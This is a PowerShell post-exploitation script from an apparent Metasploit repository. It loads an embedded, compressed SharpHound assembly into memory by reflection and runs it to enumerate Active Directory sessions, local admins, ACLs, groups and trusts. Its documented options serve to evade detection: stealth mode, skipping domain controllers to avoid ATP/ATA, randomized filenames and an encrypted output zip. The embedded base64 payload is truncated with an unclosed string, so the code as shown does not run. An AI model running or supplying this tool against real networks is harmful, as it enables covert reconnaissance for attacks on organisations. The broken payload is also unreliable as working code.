metasploit-gs/data/post/powershell/SharpHound.ps1

function Invoke-BloodHound{
    <#
    .SYNOPSIS
        Runs the BloodHound C# Ingestor using reflection. The assembly is stored in this file.
    .DESCRIPTION
        Using reflection and assembly.load, load the compiled BloodHound C# ingestor into memory
        and run it without touching disk. Parameters are converted to the equivalent CLI arguments
        for the SharpHound executable and passed in via reflection. The appropriate function
        calls are made in order to ensure that assembly dependencies are loaded properly.
    .PARAMETER CollectionMethod
        Specifies the CollectionMethod being used. Possible value are:
            Group - Collect group membership information
            LocalGroup - Collect local group information for computers
            LocalAdmin - Collect local admin users for computers
            RDP - Collect remote desktop users for computers
            DCOM - Collect distributed COM users for computers
            PSRemote - Collected members of the Remote Management Users group for computers
            Session - Collect session information for computers
            SessionLoop - Continuously collect session information until killed
            Trusts - Enumerate domain trust data
            ACL - Collect ACL (Access Control List) data
            Container - Collect GPO/OU Data
            ComputerOnly - Collects Local Admin and Session data
            GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects)
            LoggedOn - Collects session information using privileged methods (needs admin!)
            ObjectProps - Collects node property information for users and computers
            SPNTargets - Collects SPN targets (currently only MSSQL)
            Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts
            DcOnly - Collects Group Membership, ACLs, ObjectProps, Trusts, Containers, and GPO Admins
            All - Collect all data except GPOLocalGroup
        This can be a list of comma seperated valued as well to run multiple collection methods!
    .PARAMETER Stealth
        Use stealth collection options, will sacrifice data quality in favor of much reduced
        network impact
    .PARAMETER Domain
        Specifies the domain to enumerate. If not specified, will enumerate the current
        domain your user context specifies.
    .PARAMETER WindowsOnly
        Limits computer collection to systems that have an operatingssytem attribute that matches *Windows*
    .PARAMETER ComputerFile
        A file containing a list of computers to enumerate. This option can only be used with the following Collection Methods:
        Session, SessionLoop, LocalGroup, ComputerOnly, LoggedOn
    .PARAMETER LdapFilter
        Append this ldap filter to the search filter to further filter the results enumerated
    .PARAMETER SearchBase
        DistinguishedName to start LDAP searches at. Equivalent to the old --OU option
    .PARAMETER OutputDirectory
        Folder to output files too
    .PARAMETER OutputPrefix
        Prefix to add to output files
    .PARAMETER PrettyJSON
        Output "pretty" json with formatting for readability
    .PARAMETER CacheFilename
        Name for the cache file dropped to disk (default: unique hash generated per machine)
    .PARAMETER RandomFilenames
        Randomize file names completely
    .PARAMETER ZipFilename
        Name for the zip file output by data collection
    .PARAMETER NoSaveCache
        Don't write the cache file to disk. Caching will still be performed in memory.
    .PARAMETER EncryptZip
        Encrypt the zip file with a random password
    .PARAMETER NoZip
        Do NOT zip the json files
    .PARAMETER InvalidateCache
        Invalidate and rebuild the cache file
    .PARAMETER LdapFilter
        Append this ldap filter to the search filter to further filter the results enumerated
    .PARAMETER DomainController
        Domain Controller to connect too. Specifiying this can result in data loss
    .PARAMETER LdapPort
        Port LDAP is running on. Defaults to 389/686 for LDAPS
    .PARAMETER SecureLDAP
        Connect to LDAPS (LDAP SSL) instead of regular LDAP
    .PARAMETER DisableKerberosSigning
        Disables keberos signing/sealing, making LDAP traffic viewable
    .PARAMETER LdapUsername
        Username for connecting to LDAP. Use this if you're using a non-domain account for connecting to computers
    .PARAMETER LdapPassword
        Password for connecting to LDAP. Use this if you're using a non-domain account for connecting to computers
    .PARAMETER SkipPortScan
        Skip SMB port checks when connecting to computers
    .PARAMETER PortScanTimeout
        Timeout for SMB port checks
    .PARAMETER ExcludeDomainControllers
        Exclude domain controllers from enumeration (usefult o avoid Microsoft ATP/ATA)
    .PARAMETER Throttle
        Throttle requests to computers (in milliseconds)
    .PARAMETER Jitter
        Add jitter to throttle
    .PARAMETER OverrideUserName
        Override username to filter for NetSessionEnum
    .PARAMETER NoRegistryLoggedOn
        Disable remote registry check in LoggedOn collection
    .PARAMETER DumpComputerStatus
        Dumps error codes from attempts to connect to computers
    .PARAMETER RealDNSName
        Overrides the DNS name used for API calls
    .PARAMETER CollectAllProperties
        Collect all string LDAP properties on objects
    .PARAMETER StatusInterval
        Interval for displaying status in milliseconds
    .PARAMETER Loop
        Perform looping for computer collection
    .PARAMETER LoopDuration
        Duration to perform looping (Default 02:00:00)
    .PARAMETER LoopInterval
        Interval to sleep between loops (Default 00:05:00)
    .EXAMPLE
        PS C:\> Invoke-BloodHound
        Executes the default collection options and exports JSONs to the current directory, compresses the data to a zip file,
        and then removes the JSON files from disk
    .EXAMPLE
        PS C:\> Invoke-BloodHound -Loop -LoopInterval 00:01:00 -LoopDuration 00:10:00
        Executes session collection in a loop. Will wait 1 minute after each run to continue collection
        and will continue running for 10 minutes after which the script will exit
    .EXAMPLE
        PS C:\> Invoke-BloodHound -CollectionMethod All
        Runs ACL, ObjectProps, Container, and Default collection methods, compresses the data to a zip file,
        and then removes the JSON files from disk
    .EXAMPLE (Opsec!)
        PS C:\> Invoke-BloodHound -CollectionMethod DCOnly --NoSaveCache --RandomFilenames --EncryptZip
        Run LDAP only collection methods (Groups, Trusts, ObjectProps, ACL, Containers, GPO Admins) without outputting the cache file to disk.
        Randomizes filenames of the JSON files and the zip file and adds a password to the zip file
    #>
    param(
        [String[]]
        $CollectionMethod = [string[]] @('Default'),
        [Switch]
        $Stealth,
        [String]
        $Domain,
        [Switch]
        $WindowsOnly,
        [String]
        $ComputerFile,
        [ValidateScript({ Test-Path -Path $_ })]
        [String]
        $OutputDirectory = $(Get-Location),
        [ValidateNotNullOrEmpty()]
        [String]
        $OutputPrefix,
        [Switch]
        $PrettyJson,
        [String]
        $CacheFileName,
        [Switch]
        $RandomizeFilenames,
        [String]
        $ZipFilename,
        [Switch]
        $NoSaveCache,
        [Switch]
        $EncryptZip,
        [Switch]
        $InvalidateCache,
        [String]
        $LdapFilter,
        [string]
        $DomainController,
        [int]
        $LdapPort,
        [Switch]
        $SecureLdap,
        [Switch]
        $DisableKerbSigning,
        [String]
        $LdapUsername,
        [String]
        $LdapPassword,
        [Switch]
        $SkipPortScan,
        [ValidateRange(50,5000)]
        [int]
        $PortScanTimeout = 2000,
        [Switch]
        $ExcludeDomainControllers,
        [ValidateRange(0,100)]
        [int]
        $Jitter,
        [int]
        $Throttle,
        [String]
        $OverrideUsername,
        [Switch]
        $NoRegistryLoggedOn,
        [Switch]
        $DumpComputerStatus,
        [String]
        $RealDNSName,
        [Switch]
        $CollectAllProperties,
        [ValidateRange(500,60000)]
        [int]
        $StatusInterval,
        [Switch]
        $Loop,
        [String]
        $LoopDuration,
        [String]
        $LoopInterval,
        [String]
        $SearchBase
    )
    $vars = New-Object System.Collections.Generic.List[System.Object]
    $vars.Add("-c")
    foreach ($cmethod in $CollectionMethod){
        $vars.Add($cmethod);
    }
    if ($Domain){
        $vars.Add("--Domain");
        $vars.Add($Domain);
    }
    if ($Stealth){
        $vars.Add("--Stealth")
    }
    if ($WindowsOnly){
        $vars.Add("--WindowsOnly")
    }
    if ($ComputerFile){
        $vars.Add("--ComputerFile");
        $vars.Add($ComputerFile);
    }
    if ($OutputDirectory){
        $vars.Add("--OutputDirectory");
        $vars.Add($OutputDirectory);
    }
    if ($OutputPrefix){
        $vars.Add("--OutputPrefix");
        $vars.Add($OutputPrefix);
    }
    if ($PrettyJson){
        $vars.Add("--PrettyJson");
    }
    if ($CacheFileName){
        $vars.Add("--CacheFileName");
        $vars.Add($CacheFileName);
    }
     if ($RandomFilenames){
        $vars.Add("--RandomizeFilenames");
    }
    if ($ZipFileName){
        $vars.Add("--ZipFileName");
        $vars.Add($ZipFileName);
    }
    if ($NoSaveCache){
        $vars.Add("--NoSaveCache");
    }
    if ($EncryptZip){
        $vars.Add("--EncryptZip");
    }
    if ($NoZip){
        $vars.Add("--NoZip");
    }
    if ($InvalidateCache){
        $vars.Add("--InvalidateCache");
    }
    if ($LdapFilter){
        $vars.Add("--LdapFilter");
        $vars.Add($LdapFilter);
    }
    if ($DomainController){
        $vars.Add("--DomainController");
        $vars.Add($DomainController);
    }
    if ($LdapPort){
        $vars.Add("--LdapPort");
        $vars.Add($LdapPort);
    }
    if ($SecureLdap){
        $vars.Add("--SecureLdap");
    }
    if ($DisableKerberosSigning){
        $vars.Add("--DisableKerberosSigning");
    }
    if ($LdapUsername){
        $vars.Add("--LdapUsername");
        $vars.Add($LdapUsername);
    }
    if ($LdapPassword){
        $vars.Add("--LdapPassword");
        $vars.Add($LdapPassword);
    }
    if ($SkipPortScan){
        $vars.Add("--SkipPortScan");
    }
    if ($PortScanTimeout){
        $vars.Add("--PortScanTimeout")
        $vars.Add($PortScanTimeout)
    }
    if ($ExcludeDomainControllers){
        $vars.Add("--ExcludeDomainControllers")
    }
    if ($Throttle){
        $vars.Add("--Throttle");
        $vars.Add($Throttle);
    }
    if ($Jitter){
        $vars.Add("--Jitter");
        $vars.Add($Jitter);
    }
    if ($OverrideUserName){
        $vars.Add("--OverrideUserName")
        $vars.Add($OverrideUsername)
    }
    if ($NoRegistryLoggedOn){
        $vars.Add("--NoRegistryLoggedOn")
    }
    if ($DumpComputerStatus){
        $vars.Add("--DumpComputerStatus")
    }
    if ($RealDNSName){
        $vars.Add("--RealDNSName")
        $vars.Add($RealDNSName)
    }
    if ($CollectAllProperties){
        $vars.Add("--CollectAllProperties")
    }
    if ($StatusInterval){
        $vars.Add("--StatusInterval")
        $vars.Add($StatusInterval)
    }
    if ($Loop){
        $vars.Add("--Loop")
    }
    if ($LoopDuration){
        $vars.Add("--LoopDuration")
        $vars.Add($LoopDuration)
    }
    if ($LoopInterval){
        $vars.Add("--LoopInterval")
        $vars.Add($LoopInterval)
    }
    if ($SearchBase){
        $vars.Add("--SearchBase")
        $vars.Add($SearchBase)
    }
    $passed = [string[]]$vars.ToArray()
        $EncodedCompressedFile = '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
    $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
    $UncompressedFileBytes = New-Object Byte[](833536)
    $DeflatedStream.Read($UncompressedFileBytes, 0, 833536) | Out-Null
    $Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes)
    $BindingFlags = [Reflection.BindingFlags] "Public,Static"
    $a = @()
    $Assembly.GetType("Costura.AssemblyLoader", $false).GetMethod("Attach", $BindingFlags).Invoke($Null, @())
    $Assembly.GetType("SharpHound3.SharpHound").GetMethod("InvokeSharpHound").Invoke($Null, @(,$passed))
}